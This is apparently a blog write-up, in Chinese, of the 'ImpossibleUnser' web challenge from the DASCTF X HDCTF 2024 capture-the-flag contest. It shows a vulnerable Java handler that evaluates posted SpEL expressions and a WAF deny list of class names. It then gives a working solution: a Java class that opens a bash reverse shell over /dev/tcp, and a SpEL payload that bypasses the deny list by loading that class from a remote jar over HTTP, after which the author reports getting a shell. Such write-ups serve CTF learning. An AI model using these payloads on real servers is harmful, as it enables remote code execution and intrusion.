DASCTF X HDCTF 2024 公开赛

WEB

ImpossibleUnser

题目给源码,查看一下源码,发现在/ctf下的可疑的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void handle(HttpExchange httpExchange) throws IOException {
InputStream requestBody = httpExchange.getRequestBody();
String body = this.readInputStream(requestBody);
if (!body.equals("")) {
Map<String, String> PostData = this.parseFormData(body);
String payload = (String)PostData.get("payload");
ExpressionParser parser = new SpelExpressionParser();
payload = URLDecoder.decode(payload);
MySecurityWaf mySecurityWaf = new MySecurityWaf();
if (mySecurityWaf.securitycheck(payload)) {
Expression exp = parser.parseExpression(payload);
Object value = exp.getValue();
System.out.println(value);
String response = "Welcome to My Challenge";
httpExchange.sendResponseHeaders(200, (long)response.length());
OutputStream os = httpExchange.getResponseBody();
os.write(response.getBytes());
os.close();
}
}

追踪查看一下MySecurityWaf()的过滤举措

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;

public class MySecurityWaf {
private List<String> denychar = new ArrayList(Arrays.asList("java.lang", "Runtime", "org.springframework", "javax.naming", "Process", "ScriptEngineManager", "+", "replace", "JavaWrapper", "System"));

public MySecurityWaf() {
}

public boolean securitycheck(String payload) throws UnsupportedEncodingException {
if (payload.isEmpty()) {
return false;
} else {
String reals = URLDecoder.decode(payload, "UTF-8").toUpperCase(Locale.ROOT);

for(int i = 0; i < this.denychar.size(); ++i) {
if (reals.toUpperCase(Locale.ROOT).contains(((String)this.denychar.get(i)).toUpperCase(Locale.ROOT))) {
return false;
}
}

return true;
}
}
}

根据

1
2
Expression exp = parser.parseExpression(payload);
Object value = exp.getValue();

猜测可能是spel注入

去网上找了SpEL注入相关的资料https://xz.aliyun.com/t/9245?time__1311=n4%2BxuDgD9DyDRGCDCD0DBMb7eWpYoDAxxAKPx&alichlgref=https%3A%2F%2Fwww.google.com%2F

先编写一个Exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;

public class Exp{
public static void main(String[] args) {
System.out.println("hello");
}
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","bash -i >& /dev/tcp/"+address+" 0>&1");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}

然后打包成exp1.jar,具体打包流程参考

https://www.eolink.com/news/post/47025.html

1.先创建一个要打包成jar包的类

2.File -> Project Structrue -> Artifacts -> + -> JAR -> from modules with dependencies…

3.再Main Class中选择要打包的类

project -> 选择打包的类 -> 然后OK

project -> 点击OK后,会弹出错误提示框,关闭该提示框,并关闭类选择框

点击OK

4.Apply -> OK

5.Build -> Build Artifacts

6.点击Build后就会再之前选择的jar存放目录中生成jar包

放到服务器上,起一个http服务示例

image-20240701140033217

然后写payload加载jar中的类

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.73.128:8990/exp1.jar")}).loadClass("Exp").getConstructors()[0].newInstance("192.168.73.128:2333")

url全部编码后发包

image-20240701140154141

执行成功

image-20240701140203226

获得了shell


DASCTF X HDCTF 2024 公开赛
http://www.qetx.top/posts/64388/
作者
Qetx.Jul.27
发布于
2024年7月1日
许可协议